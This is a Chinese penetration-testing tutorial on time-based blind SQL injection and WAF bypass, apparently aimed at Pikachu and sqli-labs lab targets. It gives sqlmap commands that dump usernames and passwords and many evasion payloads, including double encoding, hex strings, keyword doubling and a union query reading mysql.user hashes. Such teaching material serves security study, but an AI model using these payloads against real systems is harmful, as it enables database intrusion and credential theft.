渗透测试-百日筑基—SQL注入篇时间注入绕过HTTP数据编码绕过—下
day8-渗透测试sql注入篇&时间注入&绕过&HTTP数据编码绕过
一、时间注入
SQL注入时间注入(也称为延时注入)是SQL注入攻击的一种特殊形式,它属于盲注(Blind SQL Injection)的一种。在盲注中,攻击者无法直接从应用程序的响应中获取SQL查询的结果,而是通过观察应用程序的响应时间来推断信息。时间注入正是利用了这一特性,通过使数据库执行延时函数(如MySQL中的sleep()函数)来检测SQL查询的执行情况,从而推断出数据库中的信息。
1、时间注入的工作原理
时间注入的工作原理大致如下:
- 构造延时查询:攻击者会在SQL查询中注入一个条件,该条件会触发数据库执行延时函数。例如,在MySQL中,可以使用
IF(condition, sleep(time), 0)这样的语句,如果条件满足,则数据库会延时一段时间(如sleep(10)表示延时10秒)返回结果,否则立即返回。 - 观察响应时间:攻击者通过观察应用程序的响应时间来判断延时是否发生,从而推断出条件是否满足。如果应用程序的响应时间显著增加,那么可以认为条件满足,即攻击者可以通过这种方式逐步推断出数据库中的敏感信息。
2、时间注入的用途
时间注入主要用于以下场景:
- 数据库信息探测:攻击者可以通过时间注入来探测数据库的类型、版本、表名、列名等信息。
- 数据提取:在知道数据库结构的情况下,攻击者还可以利用时间注入来逐字符地提取数据库中的数据,如用户名、密码等敏感信息。
3、防御措施
为了防范时间注入攻击,可以采取以下措施:
- 使用参数化查询:参数化查询是预防SQL注入的最有效手段之一。通过将SQL语句中的参数与数据值分开处理,确保数据值不会被解释为SQL代码的一部分,从而避免注入攻击。
- 严格输入验证:对所有用户输入进行严格的验证和过滤,拒绝任何可疑或不合规的数据。
- 设置响应时间上限:合理设置响应时间的上限,避免过长的响应时间给攻击者以机会。
- 使用Web应用防火墙(WAF):WAF能够监控和过滤进出Web应用的网络流量,识别和阻止SQL注入等恶意攻击。
4、时间注入攻击方式
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒执行。-1' or if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这个原理 n>1 n 不延时就能确定当前数据库的长度了。

如果想要获取数据内容 可以用截取字符再再进行字符对比 如果相同就进行延时。这样就能获取字符接着再拼接就是当当前库的内容。
5、时间注入代码分析
在页面中分析源码 直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样。

在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。
6、采用时间注入
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
-u 表示检测的 url-p 指定的检测参数-v 显示调试模式--technique=T 检测方法为时间注入

7、sqlmap 检测为时间注入 接下来进行 通过这个注入获取数据库的名 用户权限、表、字段等敏感信息的获取。
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch--current-user 获取用户--current-db 当前库--batch 使用默认模式 自动 y

8、获取表 -D 指定数据库 --tables 获取表
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch

9、获取字段
在 sqlmap --columns 获取字典 -T 某个表sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.phpname=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch

10、sqlmap 查询账号和密码
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch--dump 导出数据-C 指定查询的字段

使用 sqlmap 很容易就能把时间注入的数据注入查询出来
二、SQL 注入绕过技术
SQL 注入绕过技术 已经是一个老生常谈的内容了,防注入可以使用某些云 waf加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。
以下是一些常见的SQL注入绕过方法:
- 空格过滤绕过:
-
- 使用注释符
/**/、制表符(URL编码为%09)、换行符(URL编码为%0a)、括号、反引号等来代替空格。
- 使用注释符
- 内联注释绕过:
-
- 利用MySQL的特性,将仅在MySQL上执行的语句放在
/*!...*/中。当MySQL数据库的实际版本号大于或等于内联注释中的版本号时,就会执行内联注释中的代码。
- 利用MySQL的特性,将仅在MySQL上执行的语句放在
- 大小写绕过:
-
- 针对过滤规则只对小写或大写敏感的情况,通过大小写混写的方式来绕过关键字过滤。
- 双写关键字绕过:
-
- 在某些简单的WAF(Web应用防火墙)中,将关键字如
select等只使用replace()函数置换为空,此时可以使用双写关键字(如seleselectct)绕过。
- 在某些简单的WAF(Web应用防火墙)中,将关键字如
- 编码绕过:
-
- 对需要注入的语句进行编码,如URL编码、十六进制编码、Unicode编码、ASCII编码等。
- 等价函数字符替换绕过:
-
- 使用功能相同的函数或操作符进行替换,如使用
like或in代替=,使用greatest、least、strcmp等函数进行大小判断。
- 使用功能相同的函数或操作符进行替换,如使用
- 逻辑符号替换:
-
- 使用逻辑符号如
&&代替and,||代替or,^或|代替xor等。
- 使用逻辑符号如
- 特殊字符和引号绕过:
-
- 使用十六进制编码、宽字节编码等技术处理被过滤的引号等特殊字符。
- 对过滤函数的绕过:
-
- 针对特定的过滤函数,如
replace()、addslashes()等,构造特定的payload来绕过其过滤规则。
- 针对特定的过滤函数,如
需要注意的是,SQL注入是一种严重的安全漏洞,攻击者可以利用它来获取数据库的敏感信息,甚至对数据库进行破坏。因此,开发人员应该采取严格的安全措施来防止SQL注入攻击,如使用参数化查询、ORM框架、预编译语句等。同时,定期对代码进行安全审计和漏洞扫描也是非常重要的。
1、空格字符绕过
两个空格代替一个空格,用 Tab 代替空格,%a0=空格%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/select * from users where id=1 /*!union*//*!select*/1,2,3,4;%09 TAB 键(水平)%0a 新建一行%0c 新的一页%0d return 功能%0b TAB 键(垂直)%a0 空格可以将空格字符替换成注释 /**/ 还可以使用 /*!这里的根据 mysql 版本的内容不注释*/
2、大小写绕过
将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1select * from users where id=1 UNION SELECT 1,2,3,4;select * from users where id=1 UniON SelECT 1,2,3,4;

将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1select * from users where id=1 UNION SELECT 1,2,3,4;select * from users where id=1 UniON SelECT 1,2,3,4;http://192.168.0.101:7766/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,user(),3%0Aand%0A%271http://192.168.0.145:7766/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(SelEct%09group_concat(username,password)from%09users),3%09and%20%271过滤空格可以用%0 代替 也过滤# -- 注释 用字符串匹配

3、浮点数绕过注入
select * from users where id=8E0union select 1,2,3,4;select * from users where id=8.0union select 1,2,3,4;

4、NULL 值绕过
select \N; 代表 null

select * from users where id=\Nunion select 1,2,3,\N;select * from users where id=\Nunion select 1,2,3,\Nfrom users;

5、引号绕过
如果 waf 拦截过滤单引号的时候,可以使用双引号 在 mysql 里也可以用双引号作为字符串
select * from users where id='1';select * from users where id="1";

也可以将字符串转换成 16 进制 再进行查询。
select hex('admin');select * from users where username='admin';select * from users where username=0x61646D696E;

如果 gpc 开启了,但是注入点是整形 也可以用 hex 十六进制进行绕过
select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME='users' limit 1),4;
select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;
可以看到存在整型注入的时候 没有用到单引号 所以可以注入。

6、添加库名绕过
以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则 并不会拦截[库名].[表名]这种模式。
select * from users where id=-1 union select 1,2,3,4 from users;select * from users where id=-1 union select 1,2,3,4 from moonsec.users;

mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。
select * from users where id=-1 union select 1,2,3,concat(user,authentication_string)from mysql.user;

7、去重复绕过
在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截select * from users where id=-1 union distinct select 1,2,3,4 from users;select * from users where id=-1 union distinct select 1,2,3,version() from users;

8、反引号绕过
在 mysql 可以使用 `这里是反引号` 绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。
insert into users(username,password,email)values('moonsec','123456','admin@moonsec.com');insert into users(`username`,`password`,`email`)values('moonsec','123456','admin@moonsec.com');

9、逗号绕过
目前有些防注入脚本都会逗号进行拦截,例如常规注入中必须包含逗号
select * from users where id=1 union select 1,2,3,4;

一般会对逗号过滤成空 select * from users where id=1 union select 1 2 3 4;这样SQL 语句就会出错。所以 可以不使用逗号进行 SQL 注入。绕过方法如下
ubstr 截取字符串
select(substr(database() from 1 for 1)); 查询当前库第一个字符查询 m 等于 select(substr(database() from 1 for 1))页面返回正常select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));可以进一步优化 m 换成 hex 0x6D 这样就避免了单引号select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));

min 截取字符串
这个 min 函数跟 substr 函数功能相同 如果 substr 函数被拦截或者过滤可以使用这个函数代替。select mid(database() from 1 for 1); 这个方法如上。select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));

10、使用 join 绕过
使用 join 自连接两个表union select 1,2 #等价于 union select * from (select 1)a join (select 2)ba 和 b 分别是表的别名select * from users where id=-1 union select 1,2,3,4;select * from users where id=-1 union select * from (select 1)a join (select 2)bjoin(select 3)c join(select 4)d;select * from users where id=-1 union select * from (select 1)a join (select 2)bjoin(select user())c join(select 4)d;

可以看到这里也没有使用逗号,从而绕过 waf 对逗号的拦截
11、like 绕过
使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0

找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。
12、limit offset 绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1返回条一条记录 如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。

13、or and xor not 绕过
目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2id=0 xor 1=1 limit 1 、id=1 xor 1=2对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替字符如下and 等于&&or 等于 ||not 等于 !xor 等于|所以可以转换成这样id=1 and 1=1 等于 id=1 && 1=1id=1 and 1=2 等于 id=1 && 1=2id=1 or 1=1 等于 id=1 || 1=1id=0 or 1=0 等于 id=0 || 1=0


可以绕过一些 waf 拦截继续对注入点进行安全检测,也可以使用运算符号
id=1 && 2=1+1
id=1 && 2=1-1

14、ascii 字符对比绕过
许多 waf 会对 union select 进行拦截 而且通常比较变态,那么可以不使用联合查询注入,可以使用字符截取对比法,进行突破。
select substring(user(),1,1);select * from users where id=1 and substring(user(),1,1)='r';select * from users where id=1 and ascii(substring(user(),1,1))=114;

最好把'r'换成成 ascii 码 如果开启 gpc int 注入就不能用了。
可以看到构造得 SQL 攻击语句没有使用联合查询(union select)也可以把数据查询出来。
15、等号绕过
如果程序会对=进行拦截 可以使用 like rlike regexp 或者使用<或者>
select * from users where id=1 and ascii(substring(user(),1,1))<115;
select * from users where id=1 and ascii(substring(user(),1,1))>115;

select * from users where id=1 and (select substring(user(),1,1)like 'r%');select * from users where id=1 and (select substring(user(),1,1)rlike 'r');

select * from users where id=1 and 1=(select user() regexp '^r');select * from users where id=1 and 1=(select user() regexp '^a');regexp 后面是正则

16、双关键词绕过
有些程序会对单词 union、 select 进行转空 但是只会转一次这样会留下安全隐患。
双关键字绕过(若删除掉第一个匹配的 union 就能绕过)
id=-1'UNIunionONSeLselectECT1,2,3--+
到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ 从而绕过注入拦截。
17、二次编码绕过
有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,waf 是不会拦截的。
-1 union select 1,2,3,4#第一次转码%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23第二次转码%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33

二次编码注入漏洞分析 在源代码中已经开启了 gpc 对特殊字符进行转义

代码里有 urldecode 这个函数是对字符 url 解码,因为两次编码 GPC 是不会过滤的,所以可以绕过 gpc 字符转义,这样也就绕过了 waf 的拦截。

免责声明:
以上内容仅供参考,不构成任何安全建议或指导。对于具体的安全问题,请咨询专业的安全专家或机构。
相关文章:
渗透测试-百日筑基—SQL注入篇时间注入绕过HTTP数据编码绕过—下
day8-渗透测试sql注入篇&时间注入&绕过&HTTP数据编码绕过 一、时间注入 SQL注入时间注入(也称为延时注入)是SQL注入攻击的一种特殊形式,它属于盲注(Blind SQL Injection)的一种。在盲注中,攻击…...
Unity - UGUI动静分离
原理:UGUI 是基于Canvas来进行合并计算的 1.不同Cavans的UI元素,是无法合批渲染,无法实现同一个drawcall 2. 每次合批的时候,会合并计算Canvas下所有的UI元素 , 具体流程: Step1: 对Cavans下所有的UI元素进行合批计算 Step2: …...
arm 体系架构-过程调用约定
ref: ARM体系结构学习笔记:过程调用标准AAPC、 ARM32调用约定、ARM64调用约定_arm64 传参 结构体-CSDN博客 ARM软件逆向工程入门 01 - ARM调用约定(Calling Convention)_armv7函数调用约定-CSDN博客 ARM学习(17&…...
STM32基于LL库的USART+DMA使用
时隔两年半再次更新LL库,本次带来USART DMA 实现接收不定长。 1、开发思路 使用USART DMA接收不定长的功能的思路是:借助USART的空闲中断、DMA发送完成中断。 打开F103的手册可得知,USART的空闲中断触发条件是在接收完成后触发࿰…...
设计模式06-结构型模式1(适配器/桥接/组合模式/Java)
#1024程序员节|征文# 4.1 适配器模式 结构型模式(Structural Pattern)的主要目的就是将不同的类和对象组合在一起,形成更大或者更复杂的结构体。结构性模式的分类: 类结构型模式关心类的组合,由多个类…...
【损害和风险评估&坑洼】路面坑洼检测系统源码&数据集全套:改进yolo11-DCNV3
改进yolo11-DLKA等200全套创新点大全:路面坑洼检测系统源码&数据集全套 1.图片效果展示 项目来源 人工智能促进会 2024.10.24 注意:由于项目一直在更新迭代,上面“1.图片效果展示”和“2.视频效果展示”展示的系统图片或者视频可…...
GenAI 生态系统现状:不止大语言模型和向量数据库
自 20 个月前 ChatGPT 革命性的推出以来,生成式人工智能(GenAI)领域经历了显著的发展和创新。最初,大语言模型(LLMs)和向量数据库吸引了最多的关注。然而,GenAI 生态系统远不止这两个部分&#…...
gitlab 配置ssh keys
settings -- 终端配置: git config --global user.email "yxthotmail.cm" 配置gitlab 账号邮箱 git config --global user.name "xt.yao" 配置gitlab账号用户名 生成SSH key,输入命令ssh-keygen -t rsa,一直按回车…...
小程序开发实战:PDF转换为图片工具开发
目录 一、开发思路 1.1 申请微信小程序 1.2 编写后端接口 1.3 后端接口部署 1.4 微信小程序前端页面开发 1.5 运行效果 1.6 小程序部署上线 今天给大家分享小程序开发系列,PDF转换为图片工具的开发实战,感兴趣的朋友可以一起来学习一下!…...
我有两台120kw充电桩一天能赚多少钱
(当前是理想状态下,当然还要看场地费用,还有物业,变压器,等等) ———————————————————— ———————————————————— 要计算两台120kW充电桩能赚多少钱,我们…...
深入了解 Android 中的命名空间:`xmlns:tools` 和其他常见命名空间
在 Android 开发中,xmlns (.xml的namespace)命名空间是一个非常重要的概念。通过引入不同的命名空间,可以使用不同的属性来设计布局、设置工具属性或者支持自定义视图等。除了 xmlns:tools 以外,还有很多常见的命名空间…...
stable-zero123模型构建指南
一、介绍 stabilityai出品,能够对有简单背景的物体进行三维视角图片的生成,简单来说也就是通过调整变换观察的视角生成对应视角的图片。 本项目通过comfyui实现。 二、容器构建说明 1. 部署ComfyUI (1)使用命令克隆ComfyUI g…...
算法题解记录32+++最长连续序列(百题筑基)
你们好,我是蚊子码农,好久不见。由于秋招求职的繁琐事情,我有很长一段时间没更新博客,希望我的粉丝们能够谅解。 秋招我拿到了一些offer,最终决定去一个主要做“网络安全”业务的公司工作,也许明天会更好&a…...
全球知名度最高的华人起名大师颜廷利:世界顶级思想哲学教育家
全国给孩子起名最好的大师颜廷利教授在其最新的哲学探索中,提出了《升命学说》这一前沿理论观点,该理论不仅深刻地回应了古今中外众多哲学流派和思想体系的精髓,还巧妙地融合了实用主义、理想主义以及经验主义的核心理念。通过这一独特的视角…...
Flink Rest API
REST API | Apache Flink Flink官网API 通过curl 或者Rest API工具测试web UI对应的接口返回信息 Flink 提交yarn任务 ./bin/flink run -t yarn-per-job historyServer ../bin/historyserver.sh start...
Zig 语言通用代码生成器:逻辑,冒烟测试版发布二
Zig 语言通用代码生成器:逻辑,冒烟测试版发布二 Zig 语言是一种新的系统编程语言,其生态位类同与 C,是前一段时间大热的 rust 语言的竞品。它某种意义上的确非常像 rust,尤其是在开发过程中无穷无尽抛错的过程&#x…...
mysql 通过GROUP BY 聚合并且拼接去重另个字段
我的需求: 我想知道同一个手机号出现几次,并且手机号出现在哪些地方。下面是要的效果。 源数据: CREATE TABLE bank (id bigint(20) unsigned NOT NULL AUTO_INCREMENT,user_id int(11) NOT NULL DEFAULT 0,tel varchar(255) COLLATE utf8mb4_unicode_…...
Java应用程序的测试覆盖率之设计与实现(一)-- 总体设计
一、背景 作为测试,如何保证开发人员提交上来的代码都被测试覆盖到,是衡量测试质量的一个重要指标。 本系列文章将要说一说,如何搭建一套测试覆盖率的系统。 包括以下内容: jacoco agent采集执行覆盖率数据jacoco climaven集成jacoco:jacoco-maven-pluginant集成jacoco:…...
Unity C#脚本的热更新
以下内容是根据Unity 2020.1.0f1版本进行编写的 目前游戏开发厂商主流还是使用lua框架来进行热更,如xlua,tolua等,也有的小游戏是直接整包更新,这种小游戏的包体很小,代码是用C#写的;还有的游戏就是通过…...
监督学习之逻辑回归
逻辑回归(Logistic Regression) 逻辑回归是一种用于二分类(binary classification)问题的统计模型。尽管其名称中有“回归”二字,但逻辑回归实际上用于分类任务。它的核心思想是通过将线性回归的输出映射到一个概率值…...
三维GIS开发cesium智慧地铁教程(5)Cesium相机控制
一、环境搭建 <script src"../cesium1.99/Build/Cesium/Cesium.js"></script> <link rel"stylesheet" href"../cesium1.99/Build/Cesium/Widgets/widgets.css"> 关键配置点: 路径验证:确保相对路径.…...
解决Ubuntu22.04 VMware失败的问题 ubuntu入门之二十八
现象1 打开VMware失败 Ubuntu升级之后打开VMware上报需要安装vmmon和vmnet,点击确认后如下提示 最终上报fail 解决方法 内核升级导致,需要在新内核下重新下载编译安装 查看版本 $ vmware -v VMware Workstation 17.5.1 build-23298084$ lsb_release…...
ESP32读取DHT11温湿度数据
芯片:ESP32 环境:Arduino 一、安装DHT11传感器库 红框的库,别安装错了 二、代码 注意,DATA口要连接在D15上 #include "DHT.h" // 包含DHT库#define DHTPIN 15 // 定义DHT11数据引脚连接到ESP32的GPIO15 #define D…...
Spring Boot面试题精选汇总
🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息 文章目录 Spring Boot面试题精选汇总⚙️ **一、核心概…...
React与原生事件:核心差异与性能对比解析
💝💝💝欢迎莅临我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:「storms…...
云原生技术驱动 IT 架构现代化转型:企业实践与落地策略全解
📝个人主页🌹:慌ZHANG-CSDN博客 🌹🌹期待您的关注 🌹🌹 一、背景:IT 架构演进的战略拐点 过去十年,企业 IT 架构经历了从传统集中式架构到分布式架构的转型。进入云计算…...
慢慢欣赏linux 之 last = switch_to(prev, next)分析
last switch_to(prev, next); 为什么需要定义last作为调用switch_to之前的prev的引用 原因如下: struct task_struct * switch_to(struct task_struct *prev,struct task_struct *next) {... ...return cpu_switch_to(prev, next);> .global cpu_switch_tocpu_…...
Electron通信流程
前言 今天讲Electron框架的通信流程,首先我们需要知道为什么需要通信。这得益于Electron的多进程模型,它主要模仿chrome的多进程模型如下图: 作为应用开发者,我们将控制两种类型的进程:主进程和渲染器进程 。 …...
用 DeepSeek 高效完成数据分析与挖掘
一、DeepSeek 是什么? DeepSeek 是由深度求索推出的智能助手(当前版本 DeepSeek-R1),具备强大的自然语言理解、代码生成与数据分析能力。它支持 128K超长上下文,可处理复杂数据文档,并直接生成可运行的 Python 数据分析代码,是数据工作者的“AI副驾驶”。 二、DeepSeek…...
发送文件脚本源码版本
V1 适配win10和 win11 #SingleInstance Force SendMode Input SetWorkingDir %A_ScriptDir%; Global variables global TaskList : [] global CurrentFileConfig : "current_file.ini" global RemainingFilesConfig : "remaining_files.ini" global File…...
